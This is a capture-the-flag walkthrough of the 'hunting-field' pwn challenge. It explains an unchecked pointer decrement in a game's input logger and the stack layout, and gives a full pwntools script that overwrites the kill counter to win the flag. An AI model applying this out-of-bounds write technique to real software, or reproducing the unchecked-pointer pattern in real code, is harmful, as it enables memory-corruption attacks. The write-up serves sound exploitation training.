hunting-field
hunting-field
Platform: CUSTOM | Category: Pwn | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: array_pointer_underflow, game_state_manipulation, little_endian_integer_overwrite, stack_layout_reconstruction
Summary
Walkthrough of the CUSTOM Pwn hunting-field. Task: text-based game with array pointer that decrements without bounds checking, allowing writes below the buffer into adjacent stack variable killCt. Solution: send 32 invalid inputs to exhaust the
Description
Take up your arms, and slay your enemies!
A text-based combat game on a 9×9 grid. The player (@) moves and attacks enemies (E) that spawn and chase the player. The binary is a dynamically linked, not stripped ELF 64-bit x86-64 executable with source code provided. The game_over() function prints the flag if the kill count equals the magic value 1752526452.
Analysis
The game loop reads 2-character inputs (action + direction). Invalid inputs are logged into input_log[64] via a pointer array_ptr that starts at &input_log[63] and decrements by 1 for each character written, with no bounds checking:
c read-only • copy allowedchar input_log[64]; int killCt = 0; int *kills = &killCt; char *array_ptr = &input_log[63]; while ((!strchr("MA", player_input[0])) || (!strchr("NESW", player_input[1]))) { scanf("%c", &player_input[0]); scanf("%c", &player_input[1]); int c; while ((c = getchar()) != '\n' && c != EOF); *array_ptr = player_input[0]; array_ptr -= sizeof(player_input[0]); // decrement, no bounds check! *array_ptr = player_input[1]; array_ptr -= sizeof(player_input[1]); }
Each invalid input writes 2 bytes and decrements array_ptr by 2. After 32 invalid inputs (64 bytes), the pointer has moved past the beginning of input_log and into adjacent stack variables.
Stack Layout (from disassembly)
rbp-0x41 to rbp-0x80: input_log[64] (array_ptr starts at rbp-0x41 = input_log[63])
rbp-0x81 to rbp-0x84: killCt (4-byte int, little-endian)
rbp-0x85 to rbp-0x86: player_input[2]
Win Condition
c read-only • copy allowedvoid game_over(int *kills) { if (*kills == 1752526452) { // reads and prints flag.txt } }
The magic value 1752526452 = 0x68756E74 is ASCII for "hunt" — a wordplay hint from the challenge name "hunting-field".
In little-endian byte order on the stack:
rbp-0x84(LSB) =0x74='t'rbp-0x83=0x6E='n'rbp-0x82=0x75='u'rbp-0x81(MSB) =0x68='h'
Solution
Step 1: Fill the buffer (32 invalid inputs)
Send 32 invalid 2-character inputs ("xx") to exhaust the 64-byte input_log buffer. After this, array_ptr points to rbp-0x81 (the MSB of killCt).
Step 2: Overwrite killCt (inputs 33–34)
- 33rd input
"hu": writes'h'(0x68) torbp-0x81(killCt MSB), then'u'(0x75) torbp-0x82 - 34th input
"nt": writes'n'(0x6E) torbp-0x83, then't'(0x74) torbp-0x84(killCt LSB)
This sets killCt = 0x68756E74 = 1752526452.
Step 3: Skip player_input area (input 35)
The pointer now points into the player_input memory area (rbp-0x85/rbp-0x86). Writing here corrupts the input validation variables, making it impossible to provide a valid input from this position. One more garbage input ("xx") moves the pointer past this area.
Step 4: Exit the loop (input 36)
Send "MN" (Move North) — a valid input that passes the strchr checks and exits the inner while loop.
Step 5: Trigger game_over
Keep sending "MN" on subsequent turns. Enemies spawn periodically and chase the player. Eventually an enemy walks into the player's tile, triggering game_over(kills) which checks *kills == 1752526452 and prints the flag.
Exploit Script
python read-only • copy allowedfrom pwn import * context.log_level = 'info' io = remote('tjc.tf', 31412) # 32 padding invalid inputs to fill input_log for i in range(32): io.sendline(b'xx') # Overwrite killCt with 0x68756E74 ("hunt") io.sendline(b'hu') # 33rd: MSB(0x68) + byte2(0x75) io.sendline(b'nt') # 34th: byte1(0x6E) + LSB(0x74) # Skip past player_input area io.sendline(b'xx') # 35th: garbage # Valid input to exit loop io.sendline(b'MN') # 36th: move north # Keep moving until enemy reaches player → game_over for i in range(30): io.sendline(b'MN') io.recvuntil(b'Game Over!', timeout=30) result = io.recvuntil(b'}', timeout=10) print(result.decode()) io.close()
Key Takeaways / Lessons
- Mastering array_pointer_underflow, game_state_manipulation, little_endian_integer_overwrite, stack_layout_reconstruction was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-05-16 • CUSTOM • hunting-field • Difficulty: Medium